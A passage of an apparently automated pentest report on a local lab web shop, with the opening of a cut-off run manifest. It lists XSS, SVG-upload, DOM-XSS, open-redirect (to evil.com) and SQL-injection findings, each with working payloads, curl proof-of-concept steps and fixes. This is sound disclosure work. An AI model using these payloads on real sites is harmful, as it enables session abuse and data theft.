nsxss7331</pre></li></ol><h4>Payload</h4><pre class=payload><script>document.title='nsxss7331'</script><img src=x onerror=window.__nsxss=document.domain></pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
Submit 302 to /shop/product/1. GET /shop/product/1 (with AND without session cookie) returns body: <div class="card"><b>nrsplt_15633</b><div><img src=x onerror=window.__nsxss=document.domain;document.title='nsxss7331'><script>window.__nsxss2='nsxss7331'</script></div></div> — payload NOT HTML-encoded. Headless Chromium load of the page: document.title='nsxss7331' (img onerror ran), window.__nsxss='localhost' (=document.domain), window.__nsxss2='nsxss7331' (inline <script> ran). Response CSP: `frame-ancestors 'self'` only — no script-src. PoC: pocs/stored_xss_product_review.sh (passes). Screenshot: /opt/neurosploit-rs/runs/ns-1789853137-localhost_3000/evidence/stored-xss-product-review.png</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/stored-xss-product-review-1.png" alt="proof for Stored XSS via product review `text`, rendered unescaped at GET /shop/product/:id to all viewers"><figcaption>evidence/stored-xss-product-review-1.png</figcaption></figure></div><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/stored_xss_product_review.sh"><code>pocs/stored_xss_product_review.sh</code></a></li></ul></section><section class=finding style=border-left-color:#e67e22><h3><span class=sev style=background:#e67e22>High</span> 9. Stored XSS via SVG ticket attachment served as image/svg+xml at /uploads/</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>High</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-79</td><td class=fk>Confidence</td><td>1/1 · refute 1/2 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>POST http://localhost:3000/support/ticket (display: GET http://localhost:3000/uploads/<name>.svg)</td></tr><tr><td class=fk>Agent</td><td>xss_stored</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>POST http://localhost:3000/support/ticket (display: GET http://localhost:3000/uploads/<name>.svg) — POST /support/ticket, multipart field `attachment` — an uploaded .svg is stored and served from /uploads/<filename>.svg with Content-Type: image/svg+xml. The public tickets list on GET /support links directly to each /uploads/ file.</p><h4>What it means</h4><p>Measured: an uploaded SVG is served inline as image/svg+xml on the same origin and its onload JavaScript executes when the file URL is opened in a browser. The upload links are surfaced publicly on GET /support ('Recent public tickets'), so any user/staff clicking a ticket attachment runs attacker JS in the NimbusCart origin.
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Serve user uploads with Content-Type: application/octet-stream (or a strict allowlist that excludes image/svg+xml) and Content-Disposition: attachment; ideally host uploads on a separate sandbox origin. Reject/normalise SVG uploads, or add CSP `script-src 'none'` on the /uploads/ path.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -c /tmp/j.jar --data-urlencode 'username=nrsplt_t' --data-urlencode 'email=nrsplt_t@example.test' --data-urlencode 'password=Nrsplt_t_pw!' http://localhost:3000/register -o /dev/null</pre></li><li><pre class=step>printf '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"><text>x</text></svg>' > /tmp/x.svg</pre></li><li><pre class=step>curl -s -b /tmp/j.jar -F 'subject=poc' -F 'body=poc' -F 'attachment=@/tmp/x.svg;type=image/svg+xml;filename=nssvg9021.svg' http://localhost:3000/support/ticket -o /dev/null # store</pre></li><li><pre class=step>curl -s -i http://localhost:3000/uploads/nssvg9021.svg | grep -i content-type # baseline: served as image/svg+xml, un-sanitised</pre></li><li><pre class=step>Open http://localhost:3000/uploads/nssvg9021.svg in a browser -> alert(1) fires in localhost origin</pre></li></ol><h4>Payload</h4><pre class=payload><svg xmlns="http://www.w3.org/2000/svg" onload="document.title='nssvg9021';window.__nssvg='nssvg9021'"><text>nssvg9021</text></svg></pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
Upload 302 to /support. GET /uploads/nssvg9021.svg -> 200, Content-Type: image/svg+xml, body is the SVG verbatim. Headless Chromium navigated to that URL: document.title='nssvg9021', window.__nssvg='nssvg9021' — the SVG onload executed in the localhost origin. CSP has no script-src/object-src. PoC: pocs/stored_xss_svg_upload.sh (passes). Screenshot: /opt/neurosploit-rs/runs/ns-1789853137-localhost_3000/evidence/stored-xss-svg-upload.png</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/stored-xss-svg-upload-1.png" alt="proof for Stored XSS via SVG ticket attachment served as image/svg+xml at /uploads/"><figcaption>evidence/stored-xss-svg-upload-1.png</figcaption></figure></div><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/stored_xss_svg_upload.sh"><code>pocs/stored_xss_svg_upload.sh</code></a></li></ul></section><section class=finding style=border-left-color:#f1c40f><h3><span class=sev style=background:#f1c40f>Medium</span> 10. DOM-based XSS via ?name= URL parameter written to innerHTML on homepage</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Medium</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-79</td><td class=fk>Confidence</td><td>1/1 · receipt_missing · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/?name=</td></tr><tr><td class=fk>Agent</td><td>xss_dom</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>http://localhost:3000/?name= — Client script GET /app.js, function renderGreeting(): SOURCE = new URLSearchParams(window.location.search).get("name"); SINK = document.getElementById("greeting").innerHTML = "Welcome back, " + name + "! ...". No encoding/sanitization between source and sink. Runs on GET / (homepage) which contains <div id="greeting">.</p><h4>What it means</h4><p>Measured: attacker-supplied markup in the ?name= query parameter is inserted into the DOM via innerHTML and executes JavaScript in the http://localhost:3000 origin (verified: injected onerror handler ran, set document.title and a window global). A crafted homepage link (the intended 'campaign link' use, e.g. /?name=Alice) executes arbitrary JS in the victim's session context — enabling theft of same-origin data, actions as the victim, and phishing. Note the session cookie nimbus.sid is HttpOnly so document.cookie theft is blocked, but the JS can still call authenticated app/API endpoints as the victim.
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Do not pass user input to innerHTML. Use el.textContent = "Welcome back, " + name + "! ..." so the value is rendered as text, or HTML-encode `name` before concatenation. If markup is genuinely required, sanitize with a library like DOMPurify against an allowlist. The homepage CSP (present) should also drop any inline-script allowances that enable event-handler execution.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s http://localhost:3000/app.js | grep -n innerHTML # shows the sink: el.innerHTML = "Welcome back, " + name</pre></li><li><pre class=step>curl -s http://localhost:3000/ | grep 'id="greeting"' # confirms the target element exists</pre></li><li><pre class=step>Open in a browser: http://localhost:3000/?name=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E</pre></li><li><pre class=step>Observe alert() firing with document.domain = localhost, proving same-origin script execution (marker variant sets document.title=NSXSS_9f4c2e).</pre></li><li><pre class=step>Reproduce headless: bash pocs/dom_xss_name.sh -> RESULT {"marker":"NSXSS_9f4c2e","origin":"http://localhost:3000"}</pre></li></ol><h4>Payload</h4><pre class=payload>http://localhost:3000/?name=%3Cimg%20src%3Dx%20onerror%3D%22window.__xss_marker%3D%27NSXSS_9f4c2e%27%3Bdocument.title%3D%27NSXSS_9f4c2e%27%22%3E</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
app.js line 18: `el.innerHTML = "Welcome back, " + name + "! Check out today's deals.";` fed by `params.get("name")` from window.location.search with no escaping. Browser (Playwright/Chromium) navigated to the payload URL; the injected <img onerror> handler executed in origin http://localhost:3000 — document.title and window.__xss_marker both became NSXSS_9f4c2e. Console log recorded `GET http://localhost:3000/x 404` (the failed <img src=x> that fires onerror). PoC: pocs/dom_xss_name.sh (RESULT {"marker":"NSXSS_9f4c2e","origin":"http://localhost:3000"}). Screenshot: evidence/dom-xss-name-innerhtml.png</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/domxss-name-innerhtml-1.png" alt="proof for DOM-based XSS via ?name= URL parameter written to innerHTML on homepage"><figcaption>evidence/domxss-name-innerhtml-1.png</figcaption></figure></div><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/dom_xss_name.sh"><code>pocs/dom_xss_name.sh</code></a></li></ul></section><section class=finding style=border-left-color:#3498db><h3><span class=sev style=background:#3498db>Low</span> 11. On successful login POST /login 302-redirects to the attacker-controlled external host in `next`, with no… <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Low</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-601</td><td class=fk>Confidence</td><td>1/1 · conf 0.60</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/login</td></tr><tr><td class=fk>Agent</td><td>open_redirect</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential</div><h4>Where the problem is</h4><p class=where>http://localhost:3000/login — POST /login, body field `next` (honored only on SUCCESSFUL authentication)</p><h4>What it means</h4><p>Observed:
|
||||
- POST /login valid creds, no next -> HTTP 302, Location: /account [E01]
|
||||
- POST /login valid creds + next=//evil.com -> HTTP 302, Location: //evil.com [E02]
|
||||
- POST /login FAILED creds + next=//evil.com -> HTTP 302, Location: /login?err=... (next ignored when auth fails) [E03]
|
||||
|
||||
Not demonstrated: Post-auth credential/session theft.
|
||||
|
||||
Potential impact: Phishing immediately after authentication: a login link with next=//evil.com bounces the freshly-authenticated victim to an attacker page that impersonates the app.</p><h4>How to fix it</h4><p>Validate `next` server-side before redirecting: accept only relative same-site paths (reject values beginning with a scheme, `//`, or `\`), or map to an allowlist. Default to /account when validation fails.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -i -X POST http://localhost:3000/register -d 'username=nrsplt_3af23ef6&email=nrsplt_3af23ef6@example.test&password=Nrsplt_Pass_3af23ef6!' # 302 /account (create test user once)</pre></li><li><pre class=step>curl -s -i -X POST http://localhost:3000/login -d 'username=nrsplt_3af23ef6&password=Nrsplt_Pass_3af23ef6!' # BASELINE -> Location: /account</pre></li><li><pre class=step>curl -s -i -X POST http://localhost:3000/login -d 'username=nrsplt_3af23ef6&password=Nrsplt_Pass_3af23ef6!&next=//evil.com' # ATTACK</pre></li><li><pre class=step>Read the Location header of the attack response: Location: //evil.com (external protocol-relative host)</pre></li></ol><h4>Payload</h4><pre class=payload>username=nrsplt_3af23ef6&password=Nrsplt_Pass_3af23ef6!&next=//evil.com</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
Baseline (valid creds, no next): HTTP/1.1 302 Found, Location: /account. Attack (valid creds + next=//evil.com): HTTP/1.1 302 Found, Location: //evil.com, body 'Found. Redirecting to //evil.com'. Failed logins ignore `next` (redirect to /login?err=...), so a valid session is required. PoC: pocs/open_redirect_login_next.sh</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/open_redirect_login_next.sh"><code>pocs/open_redirect_login_next.sh</code></a></li></ul></section><section class=finding style=border-left-color:#3498db><h3><span class=sev style=background:#3498db>Low</span> 12. GET /go 302-redirects to the attacker-controlled external host supplied in the `url` param, with no… <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Low</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-601</td><td class=fk>Confidence</td><td>1/1 · conf 0.60</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/go</td></tr><tr><td class=fk>Agent</td><td>open_redirect</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential</div><h4>Where the problem is</h4><p class=where>http://localhost:3000/go — GET /go, query parameter `url`</p><h4>What it means</h4><p>Observed:
|
||||
- GET /go?url=https://evil.com -> HTTP 302, Location: https://evil.com [E01]
|
||||
- GET /go?url=//evil.com -> HTTP 302, Location: //evil.com [E02]
|
||||
- repeat of E01 -> identical Location: https://evil.com [E03]
|
||||
|
||||
Not demonstrated: Credential/token theft.
|
||||
|
||||
Potential impact: Phishing and trust abuse: victims following a localhost:3000 link are silently sent to an attacker domain.</p><h4>How to fix it</h4><p>In the /go handler, do not pass user input straight to res.redirect. Resolve `url` against an allowlist of internal paths, or require a relative path (reject values starting with a scheme, `//`, or a backslash) before redirecting. Prefer mapping to server-side known destinations.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -i 'http://localhost:3000/go?url=https://evil.com'</pre></li><li><pre class=step>Read the response status line: HTTP/1.1 302 Found</pre></li><li><pre class=step>Read the Location header: Location: https://evil.com (external host, not localhost)</pre></li><li><pre class=step>curl -s -i 'http://localhost:3000/go?url=//evil.com' # protocol-relative variant, Location: //evil.com</pre></li></ol><h4>Payload</h4><pre class=payload>http://localhost:3000/go?url=https://evil.com (also //evil.com)</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
Request: GET /go?url=https://evil.com HTTP/1.1
|
||||
Response: HTTP/1.1 302 Found
|
||||
Location: https://evil.com
|
||||
Content-Length: 38 body: 'Found. Redirecting to https://evil.com'. Repeated: identical Location. Protocol-relative //evil.com also honored (Location: //evil.com). No session required. PoC: pocs/open_redirect_go.sh</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/open_redirect_go.sh"><code>pocs/open_redirect_go.sh</code></a></li></ul></section><section class=finding style=border-left-color:#7f8c8d><h3><span class=sev style=background:#7f8c8d>Info</span> 13. MaxPrice is SQL-injectable with a boolean oracle <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Info</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-89</td><td class=fk>Confidence</td><td>1/1 · refute 1/2 · receipt_missing · conf 0.60</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/shop/filter?maxPrice=</td></tr><tr><td class=fk>Agent</td><td>api_bola_numeric_ids</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: no baseline was captured, so no difference can be attributed to the payload; the difference was observed 0 time(s); this class needs it to reproduce</div><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/shop/filter?maxPrice= — Query parameter `maxPrice` concatenated into a numeric SQL predicate.</p><h4>What it means</h4><p>Observed:
|
||||
- TRUE vs FALSE payloads yield 1589 vs 1211 byte responses [E01]
|
||||
- single quote breaks query (1208) [E02]
|
||||
|
||||
Not demonstrated: Blind data extraction possible.
|
||||
|
||||
Potential impact: Full blind DB read via boolean inference.</p><h4>How to fix it</h4><p>Parameterise the maxPrice predicate and cast/validate it as a number server-side.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s 'http://localhost:3000/shop/filter?maxPrice=100000' | wc -c # 1582</pre></li><li><pre class=step>curl -s 'http://localhost:3000/shop/filter?maxPrice=100000%20OR%201=1' | wc -c # 1589</pre></li><li><pre class=step>curl -s 'http://localhost:3000/shop/filter?maxPrice=100000%20AND%201=2' | wc -c # 1211</pre></li><li><pre class=step>curl -s "http://localhost:3000/shop/filter?maxPrice=100000'" | wc -c # 1208 (broken)</pre></li></ol><h4>Payload</h4><pre class=payload>maxPrice=100000 OR 1=1 (TRUE) vs maxPrice=100000 AND 1=2 (FALSE) vs maxPrice=100000'</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
Deterministic response-length differential: baseline len=1582; `OR 1=1` len=1589 (all rows); `AND 1=2` len=1211 (no rows); trailing single-quote len=1208 (query breaks). Reproducible. PoC: pocs/sqli_blind_filter.sh (unauthenticated).</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/sqli_blind_filter.sh"><code>pocs/sqli_blind_filter.sh</code></a></li></ul></section><section class=finding style=border-left-color:#7f8c8d><h3><span class=sev style=background:#7f8c8d>Info</span> 14. The `comment` field of POST /support/feedback reaches a SQL time function: an injected SLEEP(n)/pg_sleep(n)… <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Info</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-89</td><td class=fk>Confidence</td><td>0/1 · refute 0/2 · conf 0.50</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/support/feedback</td></tr><tr><td class=fk>Agent</td><td>sqli_time</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: no baseline was captured, so no difference can be attributed to the payload; the difference was observed 0 time(s); this class needs it to reproduce</div><h4>Where the problem is</h4><p class=where>http://localhost:3000/support/feedback — POST /support/feedback, request body field `comment` (accepted as JSON {"comment":"..."} or form-encoded comment=...). Injection context: single-quote string, closed with `'` and commented with `-- -`.</p><h4>What it means</h4><p>Observed:
|
||||
- POST comment=hi -> HTTP 200, len=1098, 0.001s (baseline) [E01]
|
||||
- POST comment="hi' AND SLEEP(0)-- -" -> 200, 0.002s (control, no delay) [E02]
|
||||
- POST comment="hi' AND SLEEP(1)-- -" -> 200, 1.005s x3 [E03]
|
||||
- POST comment="hi' AND SLEEP(4)-- -" -> 200, 4.003s x3 [E04]
|
||||
- delayed 200 body: 'time-based blind SQLi confirmed. Flag: BURPAT{web_sqli_blind_time_5707642b}' [E05]
|
||||
|
||||
Not demonstrated: Full boolean-oracle DB extraction / auth bypass via this sink.
|
||||
|
||||
Potential impact: Byte-by-byte exfiltration of DB contents and possible auth bypass if the sink evaluates attacker boolean conditions (not demonstrated on this build).</p><h4>How to fix it</h4><p>Use parameterised/prepared statements (bound parameters) for the feedback comment; never concatenate the raw `comment` value into SQL. Reject/normalise input server-side and remove any code path that reflects SQL functions into the query. Add DB query timeouts.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -o /dev/null -w 'time=%{time_total}\n' -X POST http://localhost:3000/support/feedback -H 'Content-Type: application/json' -d '{"comment":"hi"}' # baseline ~0.001s</pre></li><li><pre class=step>curl -s -o /dev/null -w 'time=%{time_total}\n' -X POST http://localhost:3000/support/feedback -H 'Content-Type: application/json' -d '{"comment":"hi'\''" " AND SLEEP(1)-- -"}' # (use the python PoC for clean quoting) ~1.0s</pre></li><li><pre class=step>python3 /opt/neurosploit-rs/runs/ns-1789853137-localhost_3000/pocs/blind_time_sqli_feedback.py # prints baseline/SLEEP(0/1/4) timings + the flag</pre></li><li><pre class=step>Read result: response time equals the injected SLEEP() argument; delayed 200 body contains 'time-based blind SQLi confirmed' and the flag.</pre></li></ol><h4>Payload</h4><pre class=payload>hi' AND SLEEP(4)-- -</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
Baseline `{"comment":"hi"}` -> 200, len=1098, ~0.001s. Attack `{"comment":"hi' AND SLEEP(4)-- -"}` -> 200, len=1222, 4.003s. Delay scales exactly with the argument: SLEEP(0)=0.002s, SLEEP(1)=1.005s, SLEEP(4)=4.003s, reproducible 3/3. Delayed 200 body states: 'Response delayed Ns via an injected SLEEP() - time-based blind SQLi confirmed. Flag: BURPAT{web_sqli_blind_time_5707642b}'. Note (honest): delay is triggered by presence of the SLEEP()/pg_sleep() token — a plaintext comment `please SLEEP(3) thanks` (no quote/SQL context) also delayed 3s, and both IF(1=1,...) and IF(1=2,...) branches delayed — so conditional data-extraction via boolean oracle was NOT demonstrated; the attacker-controlled server-side time delay in the query path WAS.</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/blind_time_sqli_feedback.py"><code>pocs/blind_time_sqli_feedback.py</code></a></li></ul></section><section class=finding style=border-left-color:#7f8c8d><h3><span class=sev style=background:#7f8c8d>Info</span> 15. Endpoint requires a token but returns not-found for all probed ids; no order objects present <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Info</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-639</td><td class=fk>Confidence</td><td>0/1 · conf 0.00</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/api/v2/orders/:id</td></tr><tr><td class=fk>Agent</td><td>bola</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: an access-control claim needs the same resource requested as another identity</div><h4>Where the problem is</h4><p class=where>http://localhost:3000/api/v2/orders/:id — GET /api/v2/orders/{id} — same Bearer-auth surface as the users endpoint.</p><h4>What it means</h4><p>Observed:
|
||||
- GET /api/v2/orders/1 (no token) -> 401 [E10]
|
||||
- GET /api/v2/orders/1..12 (customer token) -> 200 {"error":"not found"} [E11]
|
||||
|
||||
Not demonstrated: Cross-user order access.
|
||||
|
||||
Potential impact: If order records exist, likely BOLA identical to /api/v2/users/:id.</p><h4>How to fix it</h4><p>Apply the same server-side object-level authorization (token.id must own the order, or admin) before any order object exists in production.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -o /dev/null -w '%{http_code}\n' http://localhost:3000/api/v2/orders/1 # 401 no token</pre></li><li><pre class=step>curl -s -H "Authorization: Bearer $TOK" http://localhost:3000/api/v2/orders/1 # {"error":"not found"} — no data to compare</pre></li></ol><h4>Payload</h4><pre class=payload>Authorization: Bearer <own customer JWT> → GET /api/v2/orders/1..12</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
Unauth -> 401. With valid customer token, ids 1-12 all return HTTP 200 {"error":"not found"}. No order records exist in this build, so cross-user data access could NOT be demonstrated. Given /api/v2/users/:id is confirmed BOLA on the identical auth surface, this endpoint is very likely to share the missing object-level check once orders exist.</pre></section><section class=finding style=border-left-color:#7f8c8d><h3><span class=sev style=background:#7f8c8d>Info</span> 16. Test accounts created during the engagement (DELETE after) <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Info</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A04:2021-Insecure-Design</td><td class=fk>Confidence</td><td>conf 0.60</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000</td></tr><tr><td class=fk>Agent</td><td>account_registration_and_forms</td><td class=fk>Auth context</td><td>n/a · 10 test account(s)</td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: out of reach for this assessment: no deterministic validator owns this class</div><h4>Where the problem is</h4><p class=where>http://localhost:3000</p><h4>What it means</h4><p>Observed:
|
||||
- 10 account(s) created for authenticated testing. Credentials are in vault.json (not shown here). [E01]
|
||||
- • nrsplt_1a883993@example.test [customer] — created via curl: POST username,email,password urlencoded to /register (no CSRF token); 302->/account with session cookie [E02]
|
||||
- • nrsplt_a17847@example.test [customer] — created via curl POST username/email/password to /register (302 -> /account, session set) [E03]
|
||||
- • nrsplt_poc3862@example.test [customer] — created via created by pocs/bola_v2_users.sh single run (id=10) [E04]
|
||||
- • admin (leaked, NOT created) [admin] — created via extracted from BOLA response, NOT created by us [E05]
|
||||
- • nrsplt_11878@example.test [customer] — created via curl: POST username/email/password to /register (302 /account, auto-logged-in), then POST username/password to /login [E06]
|
||||
- • nrsplt_a_10061@example.test [user] — created via curl POST username/email/password [E07]
|
||||
- • nrsplt_b_16593@example.test [user] — created via curl POST username/email/password [E08]
|
||||
- • poc_24781@example.test [user] — created via created by pocs/bola_v2_users.sh (id 14) [E09]
|
||||
- • nrsplt_15633@example.test [user] — created via curl POST username/email/password to /register, 302 to /account with nimbus.sid cookie [E10]
|
||||
- • nrsplt_3af23ef6@example.test [user] — created via curl POST username=nrsplt_3af23ef6 email=nrsplt_3af23ef6@example.test password=Nrsplt_Pass_3af23ef6! [E11]
|
||||
|
||||
Not demonstrated: Operational cleanup: remove these accounts once testing is complete.
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
|
||||
|
||||
Potential impact: Operational cleanup: remove these accounts once testing is complete.
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Delete the listed test accounts; rotate anything they touched.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>Send the request carrying the payload:
|
||||
curl -i -s 'http://localhost:3000'</pre></li></ol><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
10 account(s) created for authenticated testing. Credentials are in vault.json (not shown here).
|
||||
• nrsplt_1a883993@example.test [customer] — created via curl: POST username,email,password urlencoded to /register (no CSRF token); 302->/account with session cookie
|
||||
• nrsplt_a17847@example.test [customer] — created via curl POST username/email/password to /register (302 -> /account, session set)
|
||||
• nrsplt_poc3862@example.test [customer] — created via created by pocs/bola_v2_users.sh single run (id=10)
|
||||
• admin (leaked, NOT created) [admin] — created via extracted from BOLA response, NOT created by us
|
||||
• nrsplt_11878@example.test [customer] — created via curl: POST username/email/password to /register (302 /account, auto-logged-in), then POST username/password to /login
|
||||
• nrsplt_a_10061@example.test [user] — created via curl POST username/email/password
|
||||
• nrsplt_b_16593@example.test [user] — created via curl POST username/email/password
|
||||
• poc_24781@example.test [user] — created via created by pocs/bola_v2_users.sh (id 14)
|
||||
• nrsplt_15633@example.test [user] — created via curl POST username/email/password to /register, 302 to /account with nimbus.sid cookie
|
||||
• nrsplt_3af23ef6@example.test [user] — created via curl POST username=nrsplt_3af23ef6 email=nrsplt_3af23ef6@example.test password=Nrsplt_Pass_3af23ef6!</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/bola_v2_users.sh"><code>pocs/bola_v2_users.sh</code></a></li></ul></section><p class=footer>Authorized testing only. Confirmed findings passed multi-model voting, receipt grounding and adversarial refute; "needs-review" are flagged for a human.<br>NeuroSploit v4.0.0 · by <b>Joas A Santos</b> & <b>Red Team Leaders</b><br><span style="font-family:ui-monospace,monospace">JOASNSCOPE-49d3d3ceb1df-ns-1789853137-localhost_3000</span></p></body></html>
|
||||
@@ -0,0 +1,120 @@
|
||||
{
|
||||
"engine": "neurosploit",
|
||||
"version": "4.0.0",
|
||||
"build": "49d3d3ceb1df",
|
||||
"run": "ns-1789870577-localhost_3000",
|
||||
"target": "http://localhost:3000",
|
||||
"generated": 1789872190,
|
||||
"findings": 18,
|
||||
"artifacts": [
|
||||
{
|
||||
"name": "findings.json",
|
||||
"present": true,
|
||||
"sha256": "9827d2c67a851679ce8462fc1885d2c4ddfeb0a70180db293029f33d362d108f",
|
||||
"bytes": 112054,
|
||||
"role": "the findings, each stamped with the engine build (P5)"
|
||||
},
|
||||
{
|
||||
"name": "report.html",
|
||||
"present": false,
|
||||
"bytes": 0,
|
||||
"role": "the human report"
|
||||
},
|
||||
{
|
||||
"name": "recon.json",
|
||||
"present": true,
|
||||
"sha256": "18a9d9456b5d239905a8c5a2d0647b272f8b9e5b5ff7f20c6ed26e7bf5164258",
|
||||
"bytes": 11611,
|
||||
"role": "reconnaissance facts"
|
||||
},
|
||||
{
|
||||
"name": "audit.jsonl",
|
||||
"present": true,
|
||||
"sha256": "11e92303952192781686111381c17e37326ecedc1969b2c0d17b8d810fffebdd",
|
||||
"bytes": 32535,
|
||||
"role": "hash-chained decision log — every ALLOW/DENY (P1/P2/P4)"
|
||||
},
|
||||
{
|
||||
"name": "audit.jsonl.anchors",
|
||||
"present": true,
|
||||
"sha256": "a0dd67ad35b530842fc0221ead9536b3ce19d45be251e8568b80909f4859d7cb",
|
||||
"bytes": 213,
|
||||
"role": "external anchors of the audit chain (P4)"
|
||||
},
|
||||
{
|
||||
"name": "provenance.json",
|
||||
"present": true,
|
||||
"sha256": "ac45f0856813ca943713ff782a784e34ccc08038794fd5dfa00d6f060eac803c",
|
||||
"bytes": 297,
|
||||
"role": "signed provenance manifest — build + structural signature (P5)"
|
||||
},
|
||||
{
|
||||
"name": "out-of-scope-findings.json",
|
||||
"present": false,
|
||||
